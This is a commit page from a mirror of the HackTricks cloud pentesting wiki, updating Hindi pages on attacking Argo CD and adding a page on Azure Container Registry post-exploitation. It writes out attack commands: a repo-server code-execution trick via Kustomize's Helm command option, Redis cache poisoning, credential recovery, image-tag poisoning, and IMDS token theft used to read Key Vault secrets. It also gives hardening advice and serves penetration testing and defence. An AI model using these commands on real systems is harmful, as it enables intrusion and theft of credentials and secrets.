mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/RE
This commit is contained in:
Translator
Binary file not shown.
@@ -2,16 +2,16 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## बेसिक जानकारी
|
||||
## मूल जानकारी
|
||||
|
||||
[Argo CD](https://argo-cd.readthedocs.io/) Kubernetes के लिए एक GitOps continuous delivery platform है। यह Git repositories को watch करता है, Helm, Kustomize, Jsonnet या config management plugins जैसे tools के साथ Kubernetes manifests render करता है, और Git में stored desired state के साथ live cluster state को reconcile करता है।
|
||||
[Argo CD](https://argo-cd.readthedocs.io/) Kubernetes के लिए एक GitOps continuous delivery platform है। यह Git repositories पर नज़र रखता है, Helm, Kustomize, Jsonnet या config management plugins जैसे tools से Kubernetes manifests को render करता है, और live cluster state को Git में stored desired state के साथ reconcile करता है।
|
||||
|
||||
Attacker perspective से, Argo CD को **Kubernetes credentials वाले deployment engine** की तरह treat करें। Argo CD का useful compromise इन चीज़ों तक lead कर सकता है:
|
||||
एक attacker के दृष्टिकोण से, Argo CD को **Kubernetes credentials वाले deployment engine** की तरह समझें। Argo CD का compromise निम्नलिखित तक पहुंच दिला सकता है:
|
||||
|
||||
- private Git repositories और repository credentials तक access।
|
||||
- Argo CD द्वारा used Kubernetes cluster secrets तक access।
|
||||
- Private Git repositories और repository credentials तक access।
|
||||
- Argo CD द्वारा उपयोग किए जाने वाले Kubernetes cluster secrets तक access।
|
||||
- `argocd-repo-server` में manifest generation code execution।
|
||||
- trusted Git repositories, Argo CD applications, या cache manipulation के through unauthorized Kubernetes object deployment।
|
||||
- Trusted Git repositories, Argo CD applications या cache manipulation के माध्यम से unauthorized Kubernetes object deployment।
|
||||
|
||||
## Architecture & Interesting Components
|
||||
|
||||
@@ -22,23 +22,23 @@ kubectl get applications,appprojects,applicationsets -A 2>/dev/null
|
||||
kubectl get secrets,configmaps -n argocd 2>/dev/null
|
||||
kubectl get networkpolicy -n argocd 2>/dev/null
|
||||
```
|
||||
दिलचस्प services:
|
||||
रोचक services:
|
||||
|
||||
- **`argocd-server`**: public API, web UI, CLI API, authentication and authorization.
|
||||
- **`argocd-application-controller`**: desired और live state की तुलना करता है, फिर Kubernetes पर resources लागू करता है।
|
||||
- **`argocd-repo-server`**: repositories clone करता है, Git data cache करता है, और manifests generate करने के लिए Helm/Kustomize/Jsonnet/plugins चलाता है। Default gRPC port **8081** है।
|
||||
- **`argocd-redis`**: application, manifest और Git reference data के लिए cache। Default Redis port **6379** है।
|
||||
- **`argocd-server`**: public API, web UI, CLI API, authentication और authorization।
|
||||
- **`argocd-application-controller`**: desired और live state की तुलना करता है, फिर resources को Kubernetes पर लागू करता है।
|
||||
- **`argocd-repo-server`**: repositories को clone करता है, Git data को cache करता है, और manifests generate करने के लिए Helm/Kustomize/Jsonnet/plugins चलाता है। डिफ़ॉल्ट gRPC port **8081** है।
|
||||
- **`argocd-redis`**: application, manifest और Git reference data के लिए cache। डिफ़ॉल्ट Redis port **6379** है।
|
||||
- **`argocd-applicationset-controller`**: Git, SCM, clusters और pull requests जैसे generators से Argo CD `Application` objects generate करता है।
|
||||
|
||||
Compromised pod या internal network segment से, internal reachability check करें:
|
||||
किसी compromised pod या internal network segment से, internal reachability जाँचें:
|
||||
```bash
|
||||
nc -vz <argocd-server> 443
|
||||
nc -vz <argocd-repo-server> 8081
|
||||
nc -vz <argocd-redis> 6379
|
||||
```
|
||||
## Public API / UI हमले
|
||||
## Public API / UI Attacks
|
||||
|
||||
यदि आपके पास Argo CD credentials हैं या कोई exposed instance है, तो normal API surface से शुरू करें:
|
||||
यदि आपके पास Argo CD credentials हैं या कोई exposed instance है, तो सामान्य API surface से शुरुआत करें:
|
||||
```bash
|
||||
argocd login <argocd-server>
|
||||
argocd account get-user-info
|
||||
@@ -52,10 +52,10 @@ argocd admin settings rbac can <subject> <action> <resource> <object>
|
||||
उपयोगी attack paths:
|
||||
|
||||
- **Application write access**: `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings या sync options को modify करें ताकि Argo CD attacker-controlled manifests deploy करे।
|
||||
- **Project misconfiguration**: `AppProject` objects broad `sourceRepos`, broad `destinations`, unsafe `clusterResourceWhitelist`, या weak namespace restrictions allow कर सकते हैं।
|
||||
- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys और tokens trusted repos में push करने या malicious dependencies जोड़ने के लिए allow कर सकते हैं।
|
||||
- **Cluster credential abuse**: cluster secrets में bearer tokens या exec-provider configuration हो सकती है, जिन्हें Argo CD target clusters में deploy करने के लिए use करता है।
|
||||
- **Local admin / project tokens**: long-lived Argo CD tokens API के through reuse किए जा सकते हैं, जब तक कि उन्हें revoke या expire न किया जाए।
|
||||
- **Project misconfiguration**: `AppProject` objects broad `sourceRepos`, broad `destinations`, unsafe `clusterResourceWhitelist` या कमजोर namespace restrictions की अनुमति दे सकते हैं।
|
||||
- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys और tokens trusted repos में push करने या malicious dependencies जोड़ने की अनुमति दे सकते हैं।
|
||||
- **Cluster credential abuse**: cluster secrets में bearer tokens या exec-provider configuration हो सकती है, जिसका उपयोग Argo CD target clusters में deploy करने के लिए करता है।
|
||||
- **Local admin / project tokens**: long-lived Argo CD tokens को API के माध्यम से reuse किया जा सकता है, जब तक उन्हें revoke या expire न किया जाए।
|
||||
|
||||
जब आपके पास cluster read access हो, तो Kubernetes से configuration enumerate करें:
|
||||
```bash
|
||||
@@ -67,24 +67,24 @@ kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
|
||||
```
|
||||
## Trusted Git Repository Abuse
|
||||
|
||||
यदि आप Argo CD द्वारा trusted किसी repository में push कर सकते हैं, तो आप आमतौर पर क्या deploy होगा, इसे influence कर सकते हैं। Impact `AppProject` boundaries और application controller द्वारा उपयोग किए गए service account permissions पर निर्भर करता है।
|
||||
यदि आप Argo CD द्वारा trusted किसी repository में push कर सकते हैं, तो आमतौर पर आप प्रभावित कर सकते हैं कि क्या deploy किया जाता है। Impact `AppProject` की सीमाओं और application controller द्वारा उपयोग की जाने वाली service account permissions पर निर्भर करता है।
|
||||
|
||||
Common payload locations:
|
||||
|
||||
- Application path के तहत Raw Kubernetes YAML.
|
||||
- Helm chart templates और `values.yaml`.
|
||||
- Kustomize overlays, remote bases और generators.
|
||||
- Jsonnet या config management plugin input.
|
||||
- ApplicationSet generator files जो `Application` objects create या update करते हैं।
|
||||
- Application path के अंतर्गत Raw Kubernetes YAML।
|
||||
- Helm chart templates और `values.yaml`।
|
||||
- Kustomize overlays, remote bases और generators।
|
||||
- Jsonnet या config management plugin input।
|
||||
- ऐसे ApplicationSet generator files, जो `Application` objects को create या update करते हैं।
|
||||
|
||||
जांचें कि app automated sync, pruning, self-heal, sync windows या manual approvals use करता है या नहीं:
|
||||
जाँचें कि app automated sync, pruning, self-heal, sync windows या manual approvals का उपयोग करता है:
|
||||
```bash
|
||||
kubectl get applications.argoproj.io -A \
|
||||
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
|
||||
```
|
||||
## Direct `argocd-repo-server` Abuse
|
||||
## Direct `argocd-repo-server` का दुरुपयोग
|
||||
|
||||
सार्वजनिक Argo CD API को ही एकमात्र attack surface न मानें। Internal Argo CD components, `argocd-repo-server` से gRPC के जरिए communicate करते हैं। अगर arbitrary pods repo-server तक पहुंच सकते हैं, तो attacker-controlled internal requests वे checks bypass कर सकती हैं जो आमतौर पर `argocd-server` द्वारा enforced होती हैं।
|
||||
यह मानकर न चलें कि public Argo CD API ही एकमात्र attack surface है। Internal Argo CD components, `argocd-repo-server` के साथ gRPC के माध्यम से communicate करते हैं। यदि arbitrary pods, repo-server तक पहुंच सकते हैं, तो attacker-controlled internal requests, `argocd-server` द्वारा सामान्य रूप से लागू की जाने वाली checks को bypass कर सकती हैं।
|
||||
|
||||
Practical checks:
|
||||
```bash
|
||||
@@ -92,22 +92,22 @@ kubectl get svc -n argocd argocd-repo-server -o yaml
|
||||
kubectl get endpoints -n argocd argocd-repo-server -o wide
|
||||
nc -vz <argocd-repo-server> 8081
|
||||
```
|
||||
रोचक संकेत:
|
||||
दिलचस्प संकेत:
|
||||
|
||||
- repo-server gRPC endpoint non-Argo CD pods से reachable है।
|
||||
- NetworkPolicies missing हैं या केवल allow-list egress है, ingress को deny नहीं किया गया है।
|
||||
- repo-server के पास custom config management plugins, decryption tools, या multiple tenants की repository content तक access है।
|
||||
- Redis non-Argo CD pods से reachable है, जिससे cache inspection या tampering संभव है, अगर credentials उपलब्ध हों या required न हों।
|
||||
- repo-server gRPC endpoint गैर-Argo CD pods से reachable है।
|
||||
- NetworkPolicies मौजूद नहीं हैं या केवल egress की allow-list करती हैं और ingress को deny नहीं करतीं।
|
||||
- repo-server के पास custom config management plugins, decryption tools या कई tenants के repository content का access है।
|
||||
- Redis गैर-Argo CD pods से reachable है, जिससे credentials उपलब्ध होने या आवश्यक न होने पर cache inspection या tampering संभव है।
|
||||
|
||||
## Kustomize Options के माध्यम से Unauthenticated Repo-Server RCE
|
||||
|
||||
July 2026 में, Synacktiv ने Argo CD के `repo-server` में unauthenticated code execution chain disclosed की, जब attacker internal gRPC service तक पहुंच सकता है। यह attack `/repository.RepoServerService/GenerateManifest` और attacker-controlled `KustomizeOptions` पर direct access का abuse करता है।
|
||||
जुलाई 2026 में, Synacktiv ने Argo CD के `repo-server` में एक unauthenticated code execution chain का खुलासा किया, जब attacker internal gRPC service तक पहुंच सकता है। यह attack `/repository.RepoServerService/GenerateManifest` तक direct access और attacker-controlled `KustomizeOptions` का दुरुपयोग करता है।
|
||||
|
||||
Dangerous primitive है repo-server को attacker-controlled repository content clone करने के लिए force करना और Helm support के साथ Kustomize run करना:
|
||||
खतरनाक primitive repo-server को attacker-controlled repository content clone करने और Helm support के साथ Kustomize चलाने के लिए मजबूर करना है:
|
||||
```bash
|
||||
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
|
||||
```
|
||||
न्यूनतम malicious Kustomize input को Helm processing ट्रिगर करने के लिए चाहिए:
|
||||
Helm processing को trigger करने के लिए न्यूनतम malicious Kustomize input:
|
||||
```yaml
|
||||
helmCharts:
|
||||
- name: pwn
|
||||
@@ -115,15 +115,15 @@ version: 0.0.1
|
||||
```
|
||||
यह क्यों काम करता है:
|
||||
|
||||
- `argocd-repo-server` render करने से पहले repository को clone करता है।
|
||||
- `--helm-command ./payload.sh` cloned repository के relative resolve होता है।
|
||||
- अगर attacker rendered repository और Kustomize build options को control कर सकता है, तो code execution के लिए shell metacharacter injection की जरूरत नहीं होती।
|
||||
- `argocd-repo-server` rendering से पहले repository को clone करता है।
|
||||
- `--helm-command ./payload.sh` cloned repository के सापेक्ष resolve होता है।
|
||||
- यदि attacker rendered repository और Kustomize build options को control कर सकता है, तो code execution के लिए shell metacharacter injection आवश्यक नहीं है।
|
||||
|
||||
Synacktiv की 1 July, 2026 की disclosure के समय, उन्होंने बताया कि इस issue का कोई official fix या CVE नहीं था। इसे पहले एक network-exposure issue की तरह treat करें: exploitation के लिए internal repo-server gRPC port तक reachability चाहिए।
|
||||
Synacktiv के 1 जुलाई, 2026 के disclosure के समय, उन्होंने बताया कि इस issue का कोई official fix या CVE नहीं था। इसे पहले network-exposure issue मानें: exploitation के लिए internal repo-server gRPC port तक reachability आवश्यक है।
|
||||
|
||||
## Redis Cache Poisoning to Deploy Manifests
|
||||
## Manifests Deploy करने के लिए Redis Cache Poisoning
|
||||
|
||||
`argocd-repo-server` में code execution के बाद, या valid credentials के साथ Redis तक direct access के बाद, Redis-backed cache entries inspect करें। Argo CD आमतौर पर gzip-compressed JSON values store करता है।
|
||||
`argocd-repo-server` में code execution के बाद, या valid credentials के साथ Redis तक direct access मिलने पर, Redis-backed cache entries का निरीक्षण करें। Argo CD आमतौर पर gzip-compressed JSON values store करता है।
|
||||
|
||||
Interesting key prefixes:
|
||||
```text
|
||||
@@ -132,32 +132,32 @@ git-refs|... # Git branch/ref to commit mappings
|
||||
app|... # application resource/cache data
|
||||
cluster|... # cluster cache information
|
||||
```
|
||||
Synacktiv द्वारा वर्णित cache poisoning attack दो state के हिस्सों का दुरुपयोग करता है:
|
||||
Synacktiv द्वारा वर्णित cache poisoning attack दो state का दुरुपयोग करता है:
|
||||
|
||||
1. संबंधित `mfst|...` manifest cache entry को modify करके उसमें attacker-controlled Kubernetes manifest शामिल करना।
|
||||
2. संबंधित `git-refs|...` mapping को modify करना ताकि Argo CD यह मान ले कि branch move हो गई है और फिर cached revision पर वापस reconcile करे।
|
||||
2. संबंधित `git-refs|...` mapping को modify करना, ताकि Argo CD को विश्वास हो कि branch move हो गई है और फिर वह cached revision पर वापस reconcile करे।
|
||||
|
||||
Impact:
|
||||
|
||||
- Auto Sync enabled होने पर, Argo CD poisoned cached manifest को automatically apply कर सकता है।
|
||||
- Auto Sync के बिना भी, जब कोई user manually application sync करता है, तब payload फिर भी apply हो सकता है।
|
||||
- Final impact target application's destination और Argo CD को उपलब्ध Kubernetes permissions द्वारा सीमित होता है।
|
||||
- Auto Sync के बिना भी, जब कोई user application को manually sync करता है, तब payload apply हो सकता है।
|
||||
- अंतिम impact target application के destination और Argo CD को उपलब्ध Kubernetes permissions तक सीमित रहता है।
|
||||
|
||||
## ApplicationSet Attacks
|
||||
|
||||
ApplicationSet खास तौर पर sensitive है क्योंकि यह generator output से `Application` objects create या update करता है।
|
||||
ApplicationSet विशेष रूप से sensitive है, क्योंकि यह generator output से `Application` objects create या update करता है।
|
||||
|
||||
Review:
|
||||
```bash
|
||||
kubectl get applicationsets.argoproj.io -A -o yaml
|
||||
kubectl get appprojects.argoproj.io -A -o yaml
|
||||
```
|
||||
दिलचस्प patterns:
|
||||
Interesting patterns:
|
||||
|
||||
- attacker-writable files पढ़ने वाले Git generators जो app names, paths, projects या destinations को control करते हैं।
|
||||
- public repositories के लिए pull request generators जहाँ untrusted contributors generated applications को influence कर सकते हैं।
|
||||
- Template fields जो broad destination clusters/namespaces allow करते हैं।
|
||||
- AppProjects जो `sourceRepos: ["*"]` या broad `destinations` permit करते हैं।
|
||||
- Git generators जो attacker-writable files पढ़ते हैं और app names, paths, projects या destinations को नियंत्रित करते हैं।
|
||||
- Public repositories के लिए pull request generators, जहाँ untrusted contributors generated applications को प्रभावित कर सकते हैं।
|
||||
- Template fields जो broad destination clusters/namespaces की अनुमति देते हैं।
|
||||
- AppProjects जो `sourceRepos: ["*"]` या broad `destinations` की अनुमति देते हैं।
|
||||
- Generated applications जो automated sync और pruning inherit करते हैं।
|
||||
|
||||
## Post-Exploitation
|
||||
@@ -169,25 +169,25 @@ cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
|
||||
find /var/run/secrets /app/config -type f -maxdepth 4 2>/dev/null
|
||||
mount | grep -E 'secret|token|config'
|
||||
```
|
||||
उपयोगी उद्देश्य:
|
||||
उपयोगी objectives:
|
||||
|
||||
- `REDIS_PASSWORD` या Redis TLS/client material चुराएं।
|
||||
- `REDIS_PASSWORD` या Redis TLS/client material चुराएँ।
|
||||
- mounted secrets या Argo CD Kubernetes secrets से repository credentials निकालें।
|
||||
- Argo CD द्वारा उपयोग किए जाने वाले cluster credentials पहचानें।
|
||||
- generated manifests और plugin output पढ़ें, जिनमें injected secrets हो सकते हैं।
|
||||
- जांचें कि क्या custom plugins, SOPS, Helm secrets, Vault plugins या cloud CLIs decryption keys और cloud credentials expose करते हैं।
|
||||
- Argo CD द्वारा उपयोग किए जाने वाले cluster credentials की पहचान करें।
|
||||
- generated manifests और plugin output पढ़ें, जिनमें injected secrets शामिल हो सकते हैं।
|
||||
- जाँचें कि custom plugins, SOPS, Helm secrets, Vault plugins या cloud CLIs decryption keys और cloud credentials expose तो नहीं कर रहे हैं।
|
||||
|
||||
## Detection & Hardening
|
||||
|
||||
महत्वपूर्ण checks:
|
||||
|
||||
- NetworkPolicies के साथ `argocd-repo-server` port **8081** और Redis port **6379** को restrict करें ताकि केवल expected Argo CD components ही उनसे reach कर सकें।
|
||||
- Helm deployments में verify करें कि network policies वास्तव में create हो रही हैं। Argo CD Helm chart values historically component network policy creation को disabled पर default करते रहे हैं।
|
||||
- `argocd-server` को authenticated entry point के रूप में रखें। Internal services arbitrary workloads से reachable नहीं होने चाहिए।
|
||||
- unused config management tools और plugins disable करें।
|
||||
- `argocd-repo-server` port **8081** और Redis port **6379** को NetworkPolicies से restrict करें, ताकि केवल अपेक्षित Argo CD components ही उन तक पहुँच सकें।
|
||||
- Helm deployments में verify करें कि network policies वास्तव में create की जा रही हैं। Argo CD Helm chart values में component network policy creation ऐतिहासिक रूप से disabled रही है।
|
||||
- `argocd-server` को authenticated entry point बनाए रखें। Internal services arbitrary workloads से reachable नहीं होने चाहिए।
|
||||
- उपयोग में न आने वाले config management tools और plugins disable करें।
|
||||
- `AppProject` `sourceRepos`, `destinations`, namespace permissions और cluster-scoped resources को restrict करें।
|
||||
- broad repository credentials store करने से बचें, जिनका reuse low-privileged Argo CD user करा सके।
|
||||
- repo-server requests, Kustomize build options, plugin executions, Redis writes और `mfst|` / `git-refs|` keys तक unexpected access monitor करें।
|
||||
- ऐसे broad repository credentials store करने से बचें, जिनका reuse low-privileged Argo CD user कर सकता हो।
|
||||
- repo-server requests, Kustomize build options, plugin executions, Redis writes और `mfst|` / `git-refs|` keys तक unexpected access को monitor करें।
|
||||
- compromise के बाद Argo CD local users, project tokens, repository credentials और cluster credentials rotate करें।
|
||||
|
||||
उपयोगी commands:
|
||||
@@ -197,19 +197,19 @@ kubectl get networkpolicy -A | grep -i argocd
|
||||
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
|
||||
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
|
||||
```
|
||||
## Static Analysis Note: Typed API Requests in CodeQL
|
||||
## Static Analysis Note: CodeQL में Typed API Requests
|
||||
|
||||
Go services के लिए जो gRPC/REST handlers use करते हैं, default CodeQL remote sources raw input के typed request objects में unmarshal होने के बाद flows miss कर सकते हैं। Argo CD-style services के लिए एक useful model यह है:
|
||||
gRPC/REST handlers का उपयोग करने वाली Go services के लिए, raw input को typed request objects में unmarshaled किए जाने के बाद default CodeQL remote sources flows को miss कर सकते हैं। Argo CD-style services के लिए एक उपयोगी model है:
|
||||
|
||||
- Receiver type जैसे `Server` या `Service`.
|
||||
- First parameter `context.Context` है.
|
||||
- Second parameter एक typed request object है.
|
||||
- `Server` या `Service` जैसे Receiver type।
|
||||
- पहला parameter `context.Context` होता है।
|
||||
- दूसरा parameter typed request object होता है।
|
||||
|
||||
उस second parameter को remote source के रूप में model करें और `exec.Command` / `exec.CommandContext` arguments के लिए custom sinks जोड़ें। इससे internal API request fields से command execution helpers तक के flows खोजने में मदद मिलती है।
|
||||
उस दूसरे parameter को remote source के रूप में model करें और `exec.Command` / `exec.CommandContext` arguments के लिए custom sinks जोड़ें। इससे internal API request fields से command execution helpers तक के flows खोजने में सहायता मिलती है।
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
|
||||
- [Synacktiv - Caught in the Octopus Trap: Argo CD में Unauthenticated RCE with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
|
||||
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
|
||||
- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
|
||||
- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
|
||||
@@ -217,3 +217,4 @@ Go services के लिए जो gRPC/REST handlers use करते है
|
||||
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
|
||||
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
|
||||
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,4 +6,8 @@
|
||||
az-azure-ai-foundry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
az-container-registry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+87
@@ -0,0 +1,87 @@
|
||||
# Az - Container Registry Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
इस service के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
|
||||
|
||||
ACR management-plane access वाली identity उस access को **पुन: उपयोग योग्य Docker credentials** में बदल सकती है। यदि **admin user** disabled है, लेकिन principal के पास `registries/write` भी है, तो इसे enable करें, passwords recover करें, और सीधे `<registry>.azurecr.io` के विरुद्ध authenticate करें।
|
||||
```bash
|
||||
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
|
||||
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
|
||||
az acr credential show -n <registry-name>
|
||||
docker login <registry-name>.azurecr.io -u <username> -p <password>
|
||||
```
|
||||
यह उपयोगी है क्योंकि recovered credentials को Azure CLI के बाहर भी **list, pull, push, overwrite, और कभी-कभी delete** करने के लिए reuse किया जा सकता है, जब तक कि admin account disable न कर दिया जाए या passwords rotate न किए जाएँ।
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/pull/read`
|
||||
|
||||
Images के अंदर **repository reconnaissance** और **secret hunting** के लिए pull access का उपयोग करें। Final container configuration और historical filesystem layers—दोनों की समीक्षा करें, क्योंकि एक layer में copy की गई files बाद में delete किए जाने पर भी recover की जा सकती हैं।
|
||||
```bash
|
||||
az acr repository list -n <registry-name>
|
||||
az acr repository show-tags -n <registry-name> --repository <repository> --detail
|
||||
docker pull <registry-name>.azurecr.io/<repository>:<tag>
|
||||
|
||||
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
|
||||
docker cp "$container_id":/ ./extracted_container
|
||||
docker rm "$container_id"
|
||||
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
|
||||
dive <registry-name>.azurecr.io/<repository>:<tag>
|
||||
```
|
||||
High-value targets में **environment variables**, **application configs**, **deployment scripts**, **certificates**, **access tokens**, और **connection strings** शामिल हैं। Layers की समीक्षा करते समय अधिक ideas के लिए Docker forensics page देखें:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/push/write`
|
||||
|
||||
Push access से attacker **trusted repositories को poison** कर सकता है या `latest`, `prod`, अथवा `stable` जैसे **mutable tags को overwrite** कर सकता है। ऐसा कोई भी workload जो अभी भी digest के बजाय tag से deploy होता है, अगले deployment, scale-out event, या restart पर attacker image को pull कर सकता है।
|
||||
```bash
|
||||
# Retag an existing local image for the target ACR
|
||||
|
||||
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||
|
||||
# If your workstation architecture differs from the target runtime, build for the consumer platform first
|
||||
|
||||
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
|
||||
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||
```
|
||||
किसी tag को replace करने से पहले, verify करें कि downstream workloads वास्तव में किन repositories और tags का उपयोग कर रहे हैं। **Digest-pinned** consumers (`@sha256:...`) को redirect करना tag-based consumers की तुलना में काफी कठिन होता है।
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
|
||||
|
||||
यदि आप downstream container workload द्वारा उपयोग की जाने वाली **image को replace** कर सकते हैं और उस workload को **restart** कर सकते हैं, तो malicious entrypoint target container के **network और managed identity context** के अंदर execute होता है। वहां से image IMDS से tokens request कर सकती है और उस workload identity के लिए accessible Azure resources तक पहुंच सकती है।
|
||||
```bash
|
||||
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
|
||||
az container restart --resource-group <resource-group> --name <container-name>
|
||||
```
|
||||
यह किसी ACR tag overwrite को **code execution**, **secret theft**, या **lateral movement** में बदल देता है, ऐसे किसी भी container consumer के अंदर जो modified tag पर भरोसा करता है और एक उपयोगी identity expose करता है।
|
||||
|
||||
### संबंधित privesc path: ACR Tasks managed identities
|
||||
|
||||
यदि आपके पास `Microsoft.ContainerRegistry/registries/tasks/write` और `Microsoft.ContainerRegistry/registries/runs/write` भी हैं, तो ACR privesc path पर जाएँ और task की managed identity का सीधे abuse करें:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [TrustedSec - Pandora's Container Part 1: Azure Container Security को unpack करना](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
|
||||
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
|
||||
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
|
||||
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
|
||||
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## मूलभूत जानकारी
|
||||
|
||||
Azure Container Registry (ACR) एक secure, private registry है जो आपको Azure cloud में **container images को store, manage, और access** करने देता है। यह कई Azure services के साथ seamlessly integrate होता है, और scale पर automated build और deployment workflows प्रदान करता है। geo-replication और vulnerability scanning जैसी features के साथ, ACR containerized applications के लिए enterprise-grade security और compliance सुनिश्चित करने में मदद करता है।
|
||||
Azure Container Registry (ACR) एक सुरक्षित, निजी registry है, जो आपको **Azure cloud में container images को store, manage और access** करने देता है। यह कई Azure services के साथ सहज रूप से integrate होता है और बड़े स्तर पर automated build और deployment workflows प्रदान करता है। Geo-replication और vulnerability scanning जैसी सुविधाओं के साथ, ACR containerized applications के लिए enterprise-grade security और compliance सुनिश्चित करने में मदद करता है।
|
||||
|
||||
### Permissions
|
||||
|
||||
ये वे **different permissions** हैं [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) जो एक Container Registry पर दी जा सकती हैं:
|
||||
ये वे **अलग-अलग permissions** हैं [docs के अनुसार](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) जो एक Container Registry पर दी जा सकती हैं:
|
||||
|
||||
- Access Resource Manager
|
||||
- Create/delete registry
|
||||
@@ -18,23 +18,23 @@ Azure Container Registry (ACR) एक secure, private registry है जो आ
|
||||
- Change policies
|
||||
- Sign images
|
||||
|
||||
कुछ **built-in roles** भी हैं जिन्हें assign किया जा सकता है, और **custom roles** बनाना भी possible है।
|
||||
कुछ **built-in roles** भी assign किए जा सकते हैं, और **custom roles** बनाना भी संभव है।
|
||||
|
||||
|
||||
|
||||
|
||||
### Authentication
|
||||
|
||||
> [!WARNING]
|
||||
> यह बहुत imporatant है कि अगर registry name में uppercase letters हों, तब भी आपको login, push और pull images के लिए हमेशा **lowercase letters** ही use करने चाहिए।
|
||||
> यह बहुत महत्वपूर्ण है कि registry name में कुछ uppercase letters होने पर भी, login, push और pull images के लिए हमेशा **lowercase letters** का उपयोग करें।
|
||||
|
||||
ACR में authenticate करने के 4 तरीके हैं:
|
||||
|
||||
- **With Entra ID**: यह ACR में authenticate करने का **default** तरीका है। यह ACR authenticate करने के लिए **`az acr login`** command use करता है। यह command credentials को **`~/.docker/config.json`** file में **store** करेगी। इसके अलावा, अगर आप यह command ऐसे environment से चला रहे हैं जहाँ docker socket access नहीं है, जैसे **cloud shell**, तो **`--expose-token`** flag use करके ACR authenticate करने के लिए **token** लिया जा सकता है। फिर authenticate करने के लिए user name के रूप में `00000000-0000-0000-0000-000000000000` use करना होगा, जैसे: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
